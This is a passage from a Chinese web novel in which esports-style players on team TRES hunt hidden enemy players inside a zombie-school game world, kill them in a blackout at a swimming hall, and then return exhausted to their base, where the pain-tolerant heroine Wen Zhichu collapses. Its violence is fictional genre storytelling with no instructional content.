他开口:“刚才想跟你招手,结果人物设定不允许,只能给你使眼色…幸亏你懂我的意思。” 温知初颔首。 邱任望喊温知初过来,是为了谈正事,聊查验敌方的事。 他的面色严肃了些:“六个小时能验一个人,我刚才又查验了一次。” 温知初:“验出来了?” 邱任望点头。 温知初:“谁?” 邱任望:“从和伟。” 从和伟是个问题学生,是章诎那里剧情的人物,他和章诎一个班的。章诎和他们班的问题学生群体有矛盾,从和伟是其中一个,一直对章诎针锋相对。 温知初抬眼望向人群:“我知道了。” 邱任望:“Yu哥也知道了,这个他负责动手,Carn位的杀戮权限已经开了,他可以动手了。” 提及晏逾明,温知初眉梢稍动:“好。” 邱任望顿了顿,低声解释:“这次单独和你聊,没有把大家召集起来一起说,是因为我能完成的剧情任务有限,只能开一个权限,我选了查验敌方的权限,没有选择30分钟脱离剧情的那个…其他的人我已经单独跟他们说过了。” 温知初:“嗯。”她道:“明白。” 片刻后,她开口:“对方的权限比我们多,他们能比较容易地看到我们的身份。” 邱任望:“你是想问他们为什么不动手?” 温知初默认。 邱任望叹了口气:“他们是<深渊>的人,甚至不一定是人,不能拿常人的思维去衡量他们,也许他们更希望我们一直留在域里,消耗我们的精神力。” 精神力消耗完了,就算他们赢下这场比赛,也会死。 他道:“越是这样,我们越是要尽快结束比赛离开这里。动手太慢,对我们的身体是很大的损耗,我们已经在这里待了超过一天一夜了,离开比赛后会出现很严重的后遗症,够我们躺几天了。” SS赛对队员的身体、心理、精神力是极大的损耗,每六小时的停留,对于现实的身体而言都相当于一次电子剥离痛。 邱任望:“这是我经历过最长的长时赛,感觉像是要永远留在这个世界一样。” 他侧头,目光投向场馆中央,那里光线充足,一群学生三三两两地围坐,交谈中忧虑地往外看。 这个丧尸世界像是<深渊>精心设计的屠杀场,通过剧情衔接不同的区域,让长时赛更为漫长而诡异。 如果SS赛直接开拓了一个新的世界的话,这意味着无尽的地图和赛场。 邱任望缓缓道:“我怀疑我们就算杀满三个敌方离开比赛后,剧情不是结束,而是会被存档。” 他道:“我们下次再进SS赛时,八成还是会被拖进这里,而且后面的剧情肯定会越来越危险,人物设定也有可能会被打乱。” 他摇头:“真倒霉,外面是电子废土,里面是无尽的丧尸,还得追杀别人或者被追杀。” 温知初背靠墙,冷淡道:“确实有可能。” “算了,不说这些。”邱任望摆摆手,“出去后,技术人员会分析数据。” 他又问:“温,你有没有怀疑的人?你觉得我下次该验谁?” 温知初抬眼望向人群:“很多人都有可能。” 邱任望深以为然:“章诎那边有几个嫌疑人,新来的体育部里也有几个看起来像,都是容易跟我们产生冲突的类型。但其他的老实人也不一定真老实。” 邱任望:“要不盲验?” 温知初站直身:“陈里阳。” 邱任望抬头,沉吟片刻后点头:“ Yu哥也提到他了。看那体格,怎么都不像普通高中生练出来的。” 他道:“等时间过去后,就验他。” 十五分钟后,温知初从走廊尽头回到游泳池旁。 人群的交谈声和馆外的丧尸撞击声没停过,偌大的游泳馆,只有这里相对安静,池水澄净,让人觉得宁静。 她坐在椅子上,低头翻阅终端上下载的电子书,是网友之前总结的晏逾明读过的书之一。 她沉静着,直到身后的脚步声打破了平静。晏逾明走来,在她对面坐下,手里拿着一瓶碘酒。 看到来的是晏逾明,温知初抬眼,她注意到光影从晏逾明略显冷漠的侧脸掠过,又注意到自己停留过久的眼神,收回视线。 晏逾明略微挑眉:“看书?” 温知初声音很低,她点头:“嗯。” 她看到晏逾明手上的碘酒,摸向自己侧脸的血迹:“不是我的血,故意沾上的。” 白皙而柔和的侧脸被血沾染上破碎的美感,斑驳的、漂亮的、被光影偏爱的,让人不禁惋惜。 晏逾明望向她的侧脸,静静地看着,神色不明,盯着的时间实在太长,温知初移开和他对视的视线,想站起身。 在她刚要起身时,椅子被眼前的人双手拽住——拖到了他身前。 温知初怔住,晏逾明目光缓缓下移,落在了她的膝盖上:“膝盖不是受伤了?” 第26章 “坐好。”晏逾明的声音低沉而冷静。 温知初抿平唇线,看着自己的左腿被扶起来,她假装没有注意到自己耳尖的温度,维持冷淡的外表,却不敢动,也不敢出声。 眼神已然静悄悄地落在了晏逾明的身上,颈间的灰绳若隐若现。 碘酒瓶盖被打开, 液体流出时气味刺鼻, 温知初却觉得好闻。 膝盖上的伤口一阵灼热,细细的疼痛从皮肤渗入, 发凉, 她的视线一直停留在晏逾明的侧脸,浓密的睫毛一动不动。 晏逾明用纱布沾上碘酒, 擦拭温知初的膝盖,动作利落, 但力道不重,碘酒的凉和他的手指滑过膝盖,温知初的双手握住身旁椅子,让不受控制的视线移开, 落在游泳池的水中。 晏逾明:“疼?” 温知初低声回应:“不疼。” 晏逾明似乎不相信她的回答,停顿片刻,再次低头处理, 动作更轻。二人之间始终保持一个淡漠的距离, 不近不远。 伤口被处理完后, 他收回手。 一块干净的纱布包扎了她的膝盖, 温知初看向自己的腿。 “好了。”男人低沉的声音响起。 温知初愣了愣:“谢谢。” 仔细听,会发现她的声音里有少见而微不可察的不知所措,显然是不知道该怎么应对这样的场面。 “走了。” 晏逾明没有久留,处理完伤口后,他拿着碘酒离开,温知初愣在原处,目光追随他的背影,直到他消失在她的视野。 034号的声音响起:[放心,宿主,他对你的杀意值没变,不会被你过度汲取能量的。 ] 温知初并不在意这些,她收回视线,回神,把卫衣帽子戴上。 下巴搁在桌子上,她埋头,望向自己的膝盖,修长的双腿不自然地伸直。 · 034号在认真地记笔记: 1.不是男主和宿主靠近就会让宿主提升等级,就譬如刚才涂药这一行为并没有引起任何宿主的等级变动。 2.要在两人距离接近的情况下宿主做出有利于提升等级的事情才能升级,譬如在SS赛中杀顾学朗。 3.E级升级相对比较容易。 另一端,游泳池的中央,一群人三三两两地围坐。 高二七班的那群问题学生又和章诎起了冲突,争吵不至于大声,但气氛很不好,尤其是为首的从和伟,他最明显地流露恶意。 章诎那双狐狸眼眯起,视线扫过这些人,最终没有动手,保持一定的距离。 体力不能消耗在这些事上。 同班的屈孚宁一如既往地回避人群,哪里有冲突他就绕开哪儿,他塞起耳机把自己和吵闹声隔开,独自孤立自己。 温知初远远地望向人群,看向屈孚宁和章诎后,又看向人群中移动的从和伟。 从和伟离开以高三四班为核心的集体,转而走向体育部的那群人。体育部现在扎堆坐在便利店外,寸头陈里阳见他来,抬了抬下巴,两人显然认识。 陈里阳:“你们队的名字为什么叫高三四班,你不是高二的吗?” 从和伟:“也有其他班的,但是主要是高三四班的,方便一起逃生,才统一叫作高三四班。” 两人站在便利店外,不知道在商量些什么,眼神不怀好意地屡屡望向高三四班那群人。 温知初的终端亮起,弹出邱任望发来的消息。 Q:[如果陈里阳真的是敌方,他也太明显了。 ] Q:[今天晚上注定不是一个平安夜。 ] 紧接着,他的消息继续传来。 Q:[如果今天晚上之前他们动手,我又没来得及查验,那就…] Q:[盲杀。 ] Wen:[收到。 ] 没过多久,邱任望又发来消息,这次是闲聊。 Q :[我实在太无聊了,在看终端上的视频,在这儿又不能联星网,只能看下载过的笑话视频,要不要我发给你一些? ] Wen:[不用,谢谢。 ] Q : [这个世界是没有终端这种设备的,在他们眼里无法见到终端,估计以为我在对着手腕发呆吧… ] Q话很多,最终以[等等,我还是不看了,我憋不住笑。 ]结束话题。 · 中午12:30。 到了吃中饭的时候,经历过上午的奔波和惊恐,大家胃都不太舒服,找了些能热的东西吃,去便利店的微波炉那儿加热。 中午升温,学生们把校服外套脱下,围在腰间。 外面丧尸显然也很饿,侧门玻璃门那儿,成群的丧尸贴在玻璃上,暴躁的撞门声越来越猛烈,是今天以来声音最大的一次,侧门已经被撞开细缝,绕在门把手上的锁链一阵一阵响,柜子都快被撞开了。 众人见状,立刻行动起来,把铁柜往外推,重新堵住门,丧尸狰狞的面孔被高大的柜子给层层堵住。 “哐当”“哐当”的撞门声一直没停。 做完这一切,大家缓了会儿,才重新去吃饭。 便利店里,微波炉旁排着队,低声交流。 “等会儿下午把二楼的窗户也堵死吧,我怕这些丧尸爬上来,二楼没有防盗窗,窗户也挺老的,容易爬进来。” 温知初踏上楼梯,独自一人去了二楼。 二楼有六扇窗户,其中有三扇状况不太好。打开其中一扇后,温知初往外看,底下乌泱泱都是丧尸群,瞪着浑浊的眼珠子四处乱撞,果然已经有丧尸在沿着水管往上爬,虽然每次都失败,但一直不放弃尝试。 随便掉一个东西下去,想必会瞬间被尸群淹没。 “吱呀” 温知初把窗户关上。 窗户边缘老化得锈迹斑斑,铰合已经很脆弱,用力按动就可以让窗缝裂开,更何况外面的丧尸会猛力去撞。 温知初按了按窗户,估计当时装窗户的人没上心,铰合用的不是好材料。 黑格的窗户只是看上去美观。 温知初去了二楼的杂物间,如果补窗户,有角铁或者卡扣会比较方便,不过没哪个游泳馆会常备这些东西,不过倒是发现了常用的维修工具包,还有给游泳池备用的铁皮。 她踩到凳子上,站高,将一块沉重的铁皮卡到窗框边缘,按压铁皮两侧,拿钢钉定死。 钉铁皮的声音吸引来外面的暴动,丧尸们的声音清晰响在了墙板外下方的位置,她沉默着,继续默不作声地钉铁皮,直到铁皮彻底固定。 铁皮装好后,三个窗框都被卡死,遮挡住所有光,只留几缕光线透进来。 她拉上窗帘,从凳子上跳下来。 抬头,她望向其他几扇窗户,光照在她脸上,照亮了平静而深黑的双眼。 · 半个小时后,温知初从二楼走下来。 空气弥漫着即食食物被加热的气味,混合着氯味,并不好闻。 回游泳池旁的路上,一道阴恻恻的目光一直跟随着温知初,让她不由地驻足,侧过身,看向视线的来源。 是顾学用。 顾学用站在走廊的一侧,目光阴沉,死死地盯着她,温知初深黑的双眼回视。 顾学用抬起手,手上拿着一团纸条。 兀地,他将手中的纸条高举,扔向温知初的方向。 温知初抬起手,接过纸条。低头,展开。 发皱而发黄的纸张上画着错乱的线条,力道很重,红色夹杂着黑色,如同痛苦的漩涡,其下有一行血红的字:你害死我哥,会遭报应的。 字迹扭曲、模糊。 这纸张中,竟然包着一只长而粗壮的蜈蚣,甲壳发亮的身体盘绕在纸条内,蜿蜒地匍匐,蜈蚣脚不停地梭动,像是要朝她的手心爬去。 顾学用一直盯着温知初,显然想从她的身上得到惊恐的反应。 但温知初的神色依旧平静,她垂首,将纸条重新包上,俯身打开墙角的柜子,把纸张连同蜈蚣放进柜子里。 关上柜门后,她直起身,瞥了顾学用一眼便收回眼神。 蜈蚣在柜子里缓慢地翕动着,触足“啪嗒”“啪嗒”得发出声响。 顾学用冷笑了一声,他望着温知初离开的背影,一直没挪开眼神。 · 时间一分一秒过去。 外面的丧尸暴动了好几回,用力地撞击各处门窗,场馆外不断发出巨响。大家分散在不同方向的门前,确保门窗紧固,不被撞碎。 心烦意躁,腐臭的气味从门缝间透进来,久久不散。 直到夜晚降临,这才逐渐安静下来。 傍晚降温,穿堂风让游泳馆里渐升寒气,尤其是游泳池旁。学生们重新穿上校服外套。 TRES的队员们因为停留在域里太久,脸色生理性地发白,呈现精神力快要耗竭的一种自然反应,唇色几乎失血。 游泳池旁很冷,温知初像是体察不到温度一样,她戴着卫衣帽子,安静地靠坐在椅子上,看着终端上的电子书。 膝盖上的纱布干净无尘。 囚徒们跋山涉水,终于找到了圣水,他们喝下圣水,却发现自己依旧戴罪满身,没有任何变化。 罪是无法消融的,圣水无法洗涤他们已经脏污的灵魂,无法涤荡他们腐朽的心,无法洗净他们沾满血的双手。 他们走啊走,继续去寻找新的希望。 到底有什么,能抚平他们的伤口。 晏逾明从一楼书架上随意拿了本书,走到游泳池旁,在温知初身旁的位置落座。 温知初察觉到身边的人,一开始后背下意识地绷紧了一下,但随后又逐渐放松下来。 经过这几日的接触,面对Yu时,她已经可以不再像最初那么慌乱或不知所措。平静中,就算耳根还是有些热,也慢慢被游泳池旁的冷风吹散。 昏暗的灯光照得水池表面漾起光影,这光影折射在温知初的脸上,光影晃动,犹如在无声地在打磨艺术品。 身旁书页翻动的声音响起。 温知初看了眼晏逾明手中的书,又望向远处。 夜幕降临。 暗处藏匿密集的恶意。 第27章 场馆内,传来喧嚣声。 “停水了” “怎么回事?”有人从卫生间探出头,“怎么突然停水了?” 整个场馆唯一能用的水龙头兀然干涸,扭动几下, 连残余的水流都没了, 只剩下空气挤压管道的空洞回响。 胆子大的人打开窗户, 探视外面的情况。 混乱的尸群在楼下游荡, 不停撞击墙面, 路灯的光线下,他们很快发现了问题所在, 外面的水管被那些丧尸给拽裂了, 正在往外漏水。 浑浊的眼珠子们往上看,窗户立即被关上,灌进来的冷风吹在大家脸上,众人你看看我,我看看你,脸色都有些难看。 不能没有水,水是基本生活保障。 “洗手池这里的水龙头算是废了。” “只能回淋浴间那儿看看了,看看能不能把污水排干净。” 学生们走向淋浴间, 打开灯腐臭混杂潮湿的气味铺面而来,地上的积水已然发黑,漂浮一层油脂, 黏腻的水渍映出模糊的光斑, 墙角的排水口被堵塞, 水流得极其缓慢。 “我去这也太恶心了” “上次谁最后一个走的, 没把水阀关紧了吗。” “淋浴间这儿倒是还能出水,就是太埋汰了只能先把管道清理干净,没有其他有水的办法了。” 大家合议后, 分工,蒙住口鼻戴上手套,拿东西去掏堵塞的管道。 幸好杂物间有疏通管道的工具,虽然是最传统的那种疏通铁管儿,但起码能用。在疏通之前,他们把一大包疏通管道的东西,不管用来疏通什么的、会不会腐蚀管道,一股脑倒下去了,道口冒着化学反应的白泡泡,他们把排吸的长管给探了下去。 长管吸出了一团团大小不一的、杂糅在一起的、发黑发红的不明物体。 仔细看是碎肉。 沐浴间零碎响起干呕的声音。 不止血肉,还有已经泡烂的骨骼,能看到牙齿的残片。能想象到受害者是在丧尸的撕咬中化为碎肉的,从水道的某个源处掉下来,沿着水管给流到了这里。 “呕这人的尸体是从哪儿冲下来的?” “学校现在到处都是丧尸,估计是从水箱那儿?” “这水,还能喝吗?” “活水的话,应该还能用将就着煮开喝吧” 没有人再接话,不断地疏通管道,淋浴头逐渐能排干净的水,他们打开阀门,水流倾泻而下,携带着泡沫和血水缓缓流入排水口,将地面上的污浊痕迹一点点冲走。 即便如此,空气中的腐臭味挥之不散。 “不吃晚饭了。” “今天我绝对不吃晚饭。” 沐浴室外,游泳场馆一楼走廊处,章诎站着走廊的一角,半眯着狐狸眼,盯住不远处的几个人。 从和伟和陈里阳不知道商量了些什么,带领几个人鬼鬼祟祟地走到电箱那里,打开了电箱的盖子,时不时回头张望。 章诎低头,在终端的光屏上敲动手指。 诎:做好准备 诎:他们准备要动手了。 收到消息后,游泳馆内,分散在人群中的TRES队员不约而同地站直身…游泳池附近的温知初和晏逾明,便利店外的将铭、走廊两端的章诎和邱任望,甚至一直远离人群的屈孚宁也从二楼走下来。 终端继续弹出消息,这回是邱任望发来的。 Q:还没来得及查陈里阳的身份,但大概率是。 Q :注意安全,随机应变。 就在这一刻,陈里阳拉下了电箱里的电闸,整个游泳馆的灯光猛地熄灭,转瞬即逝地在黑暗中留下光逝的残影。 漆黑如幕布般瞬间笼罩了所有人。 “停电了?” “怎么突然停电了?” 突如其来的黑暗让学生们陷入惊慌,大部分人都在沐浴间清理管道,惊叫声此起彼伏,水流依旧在持续地冲刷地面,脚步声混杂低声的咒骂和喘息,格外混乱。 温知初于黑暗中抬眼,望向远处 。 · 屈孚宁走下楼梯,脚步放轻,几乎没有一点动静,他走近沐浴间门口,手掌搭在门板上。 “咔嗒。”他关上门。 门锁被按下,淋浴间的门锁住,将里面的学生们封在内。 屈孚宁不打算让这些剧情人物出来看到外面的战斗,以防他们的目睹对队员们的人物设定设限,妨碍他们的行动。 这是必要的。 不算狭小的淋浴间内,学生们在水汽中一头雾水。 “怎么回事?” “门被关上了?谁锁的?” “喂,外面到底在干什么?” 他们拍打门板。 淋浴间外的学生们同样慌张,不知道为什么亮得好好的灯突然熄灭了,游泳馆陷入伸手不见五指的黑暗,没有任何前兆。 “嘶怎么停电了?有没有人去看看电箱?” “看不见路啊。” “这到底是怎么回事?” 慌乱的嘈杂声响起,学生们在黑暗中四处摸索,试图往电箱处走,混乱中,有人把他们打乱,推向远处,似乎不让他们靠近什么地方一样。 分不清前后左右,也不知道究竟该往哪里走。 “谁,谁在推我?” “别推人啊” 而后,沉闷的打斗声在嘈杂中响起。 “砰——” 某种钝器重重砸在人体上的声音响起,带着骨骼断裂的重响,让人听着骨头都疼。深黑中,钢管儿的寒光从半空中划过,带起风声,伴随金属撞击的声音,一道沉重的物体狠狠被砸在墙上。 是人。 有人被拿着钢管的那道身影给踹倒,重重地撞在了墙上。 晏逾明单手提着钢管,在夜色中穿行。 有所感的学生们缩起身体,赶紧往远处跑。 “有人在打架?” “谁在打架啊?” 回应他们的只有更响亮的“砰!”声。 学生们感觉好像有人从半空飞了出去,被踹得砸在了墙前的大镜子上,玻璃破裂的声音响起,玻璃碴儿四溅。 有人慌张地发出尖叫。 泳池旁。 温知初站在游泳池旁,若有所感地往远处看,她默不作声,深黑的双眼在黑暗处显得明亮而沉静。 听到玻璃破裂的声音,她确定了方向,准备朝那处走去。 她迈开脚步,才走出一步兀然,“啪!”的一声,一只湿冷的手陡然从游泳池深处探出,猝不及防地缠上了她的脚踝,狠狠地往下一拽。 “扑通——” 水面炸开,浪花四溅,那只手将她拽入游泳池里。 水波翻涌,消毒味的气息瞬间包裹住感官。水中,一个模糊的黑影缠住温知初,把她往池子深处扯,不停有细碎的气泡往上涌。 水下浓黑一片,光线被吞噬,温知初溺水的脸苍白而沉静,她睁开双眼。 她没有挣扎,也没有发出任何求救的声音,缓慢地低头往下看,对上黑影的双眼。 岸上的打斗声一直没有停过,嘈乱一片,人群远远地避开打闹声,尤其是提着钢管的那道人影。 钢管的冰冷质感在夜色中划过一道道沉闷的冷光,力道大到半空中一阵阵风声,每一次挥击,空气都像是被重重劈开,紧接着,钢管准确无误地砸向来人。没有人想意外被这钢管砸中,这要是真挨一下,骨头肯定会裂开。 “咔嚓!”“咔嚓!”的骨裂声不停响起,从和伟惨叫一声,惊恐地望向夜色中朝他走来的晏逾明,有如看着死神。 屈孚宁和邱任望在动手之余,还得把混斗中慌乱得找不到北的学生们往外拉。章诎和将铭则是去应付那些高二七班和体育部的闹事者,对于非敌方的普通问题学生他们不至于下杀手,干净利落地放倒在地,而后拖到墙角放下。 邱任望走到电箱旁,手掌抵住盖子,不让其他人靠近电箱打开灯。 他低垂头,紧盯手腕上的终端,终端上显示正在查验陈里阳身份中,还有两分钟的倒计时就能知道陈里阳的身份。 现场已经这么混乱了,这意味着陈里阳必须是敌方队员,要不然他们TRES无法达成杀满三位敌方队员的域目标。 如此,他们不仅没办法从域里出去,还会让各自的人物设定在开灯后陷入崩裂,后果不堪设想。 但是如果陈里阳真的不是敌方队员等会儿开灯后,其他学生看到这些血腥的场面该如何收拾? 人物设定肯定是收拾不回来了。在目前的剧情逻辑下,没有任何一个学生会对其他人动杀手。 邱任望望着终端。 却也不能再拖了,如果再拖下去,他们回到域外世界后,精神力估计会耗竭到七窍流血而亡。 距离查验完成,还有一分钟。 游泳池内。 水用力地翻滚着,像是有什么庞然大物在池底翻身。 水下,两道身影缠斗在一起,沉浮之间,轮廓隐隐绰绰。 那黑影用力地拽住温知初,力道是冲着把手腕骨头扭断的力气使劲儿,温知初跟随力道往下沉,但很快,那黑影便发现了不对劲。 这看似虚弱的少女反过来拽住他的手,无论他怎么扭动,钳制住他的力量如同铸在他身体外的铁,根本无法挣脱半分,温知初的动作平稳,精准,没有半点多余的晃动。 水下,她屏住呼吸,只有微小的气泡在她的脸侧翻涌。 黑影察觉到不对劲后,猛地一蹬池底,向水面游去。 没等他离开太远,温知初两只手臂从下方探出,拦住黑影的腰,收紧,不带任何犹豫,将他往下拽。 黑影努力地挣脱,抱住他的双臂却纹丝不动,沉静地将他一寸、一寸往下拖。 深处的水被撕扯,大片大片的水泡疯狂翻涌,两人一齐往下沉,黑影不停挣扎着。 幽暗的池水中,他对上一双深黑而宁静的双眼。 没有愤怒,没有情绪,甚至没有杀意,有的只有一片一望无际的平静。 下一秒,游泳池的水更为猛烈地翻腾起来。 搅动中,温知初的手臂上抬,稳稳地架上了黑影的脖颈。 喀! 黑影的喉头被卡住。 那是一种毫不留情的死锁,冷静、稳定,绝无松脱的可能。 黑影瞪大眼睛,他疯狂地挣动,双手胡乱挥舞,试图撬开她的手臂,温知初手臂作力,不断收紧。 水泡翻涌,黑影的四肢剧烈颤抖,肺部开始抽搐,氧气被彻底剥夺,恐惧如同潮水般涌上他的神经。 温知初的手臂越收越紧。 水池继续涌动着。 岸上。 “噗嗤——” 钢管刺入血肉的声音在黑暗中格外清晰,尖端划开绵密的肌肉脂肪,溅出的血液缓慢沿着地缝往外流。 晏逾明收回手,握紧钢管的指节上沾着点点血迹。 混乱中,邱任望陡然抬头,紧锁眉头地奔向游泳池旁,一把拉开游泳池旁的门。 “唰——!” 门被甩回去,重重合拢,他打开手电筒,光束照亮混乱不堪的现场。 邱任望声音急促:“我验出来了,不好——陈里阳不是敌方的队员!” 这人单纯是坏。 闹出这一番动静,后果不堪设想等会儿该如何在其他学生面前收拾剧情? 手电筒光乱晃,晏逾明朝邱任望的方向看了一眼:“你说晚了。”他的语气不急不缓,带着些懒散的冷漠。 手电筒的光束照在了他的脚下,两具尸体躺在地上,已然毫无生息。 从和伟和陈里阳的胸口被刺入断裂的钢管,血水不停向外弥漫。 晏逾明踏出血泊:“已经死了。” 空气凝滞了一瞬,置身于夜色中的队员们心头震动。 章诎反应最快:“不行,不能让其他学生发现这里,剧情乱了,按照赛制,我们会直接死在这里。” 邱任望也连忙弯下腰:“先把他们的尸体藏起来,这里收拾下” 他的话戛然而止,骤然转过头,因为他的余光注意到原本澄澈干净的水池正在不断加深颜色,手中的手电筒打向泳池。 “怎么了这是?!” 水池表面,不断有血往上涌,汩汩地在表面扩散。 一具身体从泳池里缓慢地上升,飘到了水面。 邱任望:“顾学用?” 顾学用的面孔青白,双眼无神地睁开,已然没了呼吸。 他的脖颈上有勒痕,而太阳xue处,赫然插着一根木筷子。 等等…他为什么死了? 邱任望惊疑不定地往远处看。 水流晃动,温知初从水池中探出上半身,浮出水面,水珠顺着她的眉骨滑落,侧脸残留蜿蜒的血痕,她的眼神幽深,黑发湿漉漉地垂落,宛如一幅水墨晕染的志怪画。 她望向岸上:“陈里阳不是敌方队员?” 队员们怔怔地望向水池,邱任望愣了愣才回神:“不是” 温知初于水中走向顾学用,伸手,修长有力的手指握住木筷子,豁然拔出,水珠沿着她的指骨滴落。 几乎是同一时间,半空中响起<深渊>的电子音: [三位敌方已被戮杀,恭喜TRES ,达成至少清杀三位敌方的赛制目标。 ] [正在为您退出SS赛中。 ] 众人惊讶而怔愣地望着水池,电子音的恭贺声接连不断响动。 水珠沿着温知初的侧脸滴落,她抬眼,朝他们略微挑眉:“看来,他是。” 第28章 眼前的场景开始变得模糊, TRES的队员眯了眯眼睛,再次展开在眼前的,不再是封闭的游泳场馆, 而是他们两天前到达的赛场荒地。 荒地的围栏外,一群工作人员紧张地望着他们,确认他们出来后,立即一哄而上地跑进空地,沙土里的蜥蜴受惊地逃离。 “他们回来了!” “快快快!医护人员!”老钱喊道。 夜色明亮,天上的星星被看得很清楚。 队员们脱离域后,精神力耗竭的感觉一下子涌上来,随之而来的是脱力感和眩晕感。 邱任望和章诎直接晕过去了,将铭和屈孚宁跌坐在地,满头都是被痛出的汗,大喘气,医护人员跑得最快,给几个人上氧气装备。 就连晏逾明,也略微弯下了身,他接过工作人员给的氧气罩, 放到脸上,他的视线望向不远处的温知初。 温知初走向回程路上要坐的卡车,脸色惨白, 但依旧立直身, 看起来要比其他人好许多, 她拒绝了其他人递给她的氧气罩:“我没事。” 老钱很紧张:“小温, 你真没事?” 他道:“E级体质不好,会比其他人感受到成倍的疼痛,你真没事?” 温知初踉跄了一步,她扶着卡车边缘的横杆翻上去:“没事。” 034号很惊恐:[宿主,你不要逞强啊,数据显示你的疼痛等级已经达到89了,你脸都白成这样了。 ] 被断条胳膊的疼痛等级不过是60。 034号:[宿主!你的健康已经出现危险信号了! ] 温知初踏上车厢,走到最里面坐下,轻声吐出一口气:“我没事。” 034号从未见过如此能忍受疼痛的人。数据显示的疼痛是实打实的,根本不可能不疼,只有一种可能宿主习惯了这种疼痛,所以觉得平常、觉得能忍受。 它现在算是明白为什么宿主每次电子剥离日都能恢复得那么快 头一次,它觉得宿主有着她这个年龄的叛逆期,都疼成这样了,咱们就别挺着了! 其余人也接连上了卡车后座,章诎和邱任望已经醒过来,他们靠在角落坐下,脸色依旧不太好,章诎闭目养神,邱任望的眼睛珠子倒是没停下,不停转来转去往外看,无声地表达着他对于终于出来了这件事的喜悦之情。 大家对于比赛结束这件事都挺高兴的,只不过精神力耗竭太过,让他们疼得实在难以表现出喜悦的样貌,都依靠在卡车厢上,静静的。 教练老钱上了车厢后,卡车缓缓地启动。 深夜中,卡车开上了路,沿着一路的星光往外一直开,速度平稳,辽阔的荒地逐渐消失在卡车的后视镜里。 车子上了公路。 老钱看着众人的萎靡样,安慰道:“没事,回去给你们放假,给你们安排最好最贵的恢复疗程和补品,保证你们的身体在假期结束前恢复到比以前还好的状态。” 他继续道:“还给你们发奖金,保证比你们去年所有比赛的奖金加起来都多!” SS战队最不缺的就是这些。 老钱手上拿着平板,看这次比赛的各项数据,他先是挂上笑,说:“还不错。” 很快又严肃起来:“回去等你们休息好了,还是有许多需要复盘的,有些人在这次剧情里表现得不太好,有些人一直很稳定地发挥训练计划也要变你们先休息,找个时间我会通知大家一起开个会。” 邱任望哀嚎道:“不是说休假吗” 老钱:“休假期间开个会怎么了” 邱任望一脸晕厥状。 卡车在夜色中穿行,一段时间后,城区的霓虹灯映入眼帘,TRES的基地大门打开,一群车辆进了基地。 终于抵达了住宅庄园。 卡车颠簸了一下,停下,训练官解开尾门两侧的插销,一推,铁门“哐”一声向下翻落。 老钱:“走吧,回去休息。” 医护人员已经进了别墅,夜晚十点钟,别墅里灯火通明,玻璃上反射着灯光。 温知初站起身,跟着队友往外走,她扶住横杆,屈身准备跳下卡车,刚起了个势,身后脚步声响起,一只骨节分明的手拽住了她的左臂。 温知初被拉回了卡车,不明所以地望向了身后的晏逾明。 卡车下等待的队员也不太明白这是什么意思,抬头往卡车看。 晏逾明低头望着她:“你是没有痛觉吗?” 温知初深黑的双眼盯着晏逾明,似乎没有明白他为什么说这句话,眼中是宁静的茫然。 如果认真论起痛觉,似乎一直很痛,所以没感觉那里特别疼。 卡车下响起喧哗声:“血!” 队友们很激动:“小温,血!” 一道血流沿着温知初的左耳缓慢地往外流,已经快要淌到脖子的地方。 温知初抬手捂住自己的左耳,后知后觉地感觉到眼前发黑,手心沾上了血迹,她踉跄了一步,身体生理性地下坠,整个人因为精神力完全竭力而晕了过去。 晏逾明眼疾手快的接住了她的身体,他顿了顿,将她抱起来,从卡车上跳下来。 队友们很激动,邱任望立马扯着嗓子喊:“医生!医生!教练!” 他们踏入别墅的大门,医护人员立即围了过来,老钱也跑了过来。 “怎么了这是!”老钱一脸紧张,“谁怎么了?” 将铭:“小温晕过去了。” 老钱望向晏逾明抱在怀中的温知初,医护人员已经捋开她的袖子,在胳膊上打强力精神力针。晏逾明淡漠着一张脸,配合医护人员,暂时没把人放下。 老钱狐疑地望了望晏逾明,又望向晕过去的温知初,他想起比赛时围观的那些弹幕,都说这俩人关系不太好。 医护人员:“暂时没有大问题,她需要休息。” 而后又感慨:“这个队员真的很能忍痛,生命监视设备上显示的疼痛指数这么高,竟然一路上都没有要求打止痛针。” 晏逾明瞥了眼怀中的人,屈身将人放到沙发上,温知初的身体静静地躺在布料间,双眼静谧地合起,不像是晕倒,像是安睡着,灯光下,如同一件完美的艺术品。 老钱走过来,走到晏逾明面前,欲言又止,试探道:“再讨厌队友也不能动手啊” 站在晏逾明身旁的邱任望:“” · 小温晕过去这件事对于温知初本人来说,只是一件小事,但对于TRES其他人来说,简直十万火急。 经过SS比赛的同生共死后,队员们和工作人员已经把小温当家人了,还是战队唯一且最小的妹妹,说是当珍稀动物贡着也不为过。 经过一夜的静养,温知初已然好了许多,脸上有了血色,她想起身,医护人员不让,只能坐在卧室的床上静养。 白天,她的卧室门就没有阖上过,队友们和工作人员进进出出,过来问候,送来不少东西。 温知初:“” 老钱反应很大,很痛心,他在训练官基地挥着手中的详细体检报告:“这孩子不仅营养不良,而且还贫血,年纪轻轻的,这以前过的都是什么苦日子。” 训练官:“可能是没好好吃饭,这个年纪的孩子没人看着,不爱吃饭的,都喜欢吃些三明治什么的,营养不均衡。” 如果034号在场的话,它肯定会说一声: [你们错了,她以数据核为生,你们再怎么补都补不上来的。 ] 老钱:“既然来到了我们TRES ,我们就得负责,必须监督着一日三餐都得好好吃。” 温知初的早餐是在医护人员的监视下吃完的,到了中午,邱任望、章诎还有将铭、甚至是屈孚宁都来她房间吃饭,名义上是吃饭,其实也是来看着她吃饭的。 房间很大,除了不被医护人员准许下床的房间主人外,其他人坐在落地窗旁的桌子边吃饭。 温知初看着床上桌上满满当当的餐食,拿着勺子:“ ” 邱任望:“小温,你吃啊!” 他站起身,把自己盘子里的葡萄全放到温知初盘子里。 温知初:“嗯。” 在这么多视线的围堵下,不吃也不行。 温知初吃得不紧不慢,吃相文雅而安静,吃完后,邱任望把床上桌搬出去了,等候在门外的机器人架着去清理。 落地窗被打开,和煦的春风吹进来。 邱任望站在落地窗前,伸了个懒腰:“还是初夏的气候好啊。” 丧尸校园那里虽然是春天,但还是初春,而且晚上降温太厉害了,体感像秋冬。 温知初坐在床上,她靠坐着,背倚靠垫高的枕头,看着房间里的不速之客们,嘴角礼貌地挂着笑。 她身上的衣服是昨天晚上医护人员给她换的,不是自己的衣服,所以并非她平日里常见的黑白灰,而是粉白相间的绵质睡衣裙子,圆润的领口上还有少女风的花骨朵状的打褶,裙子上间或绣着几只兔子。 温知初的头上戴着简单的发带形发箍,也是浅粉色的,如瀑的黑发乖顺得散下,打扮的风格和她自己的私服完全不是一个风格。 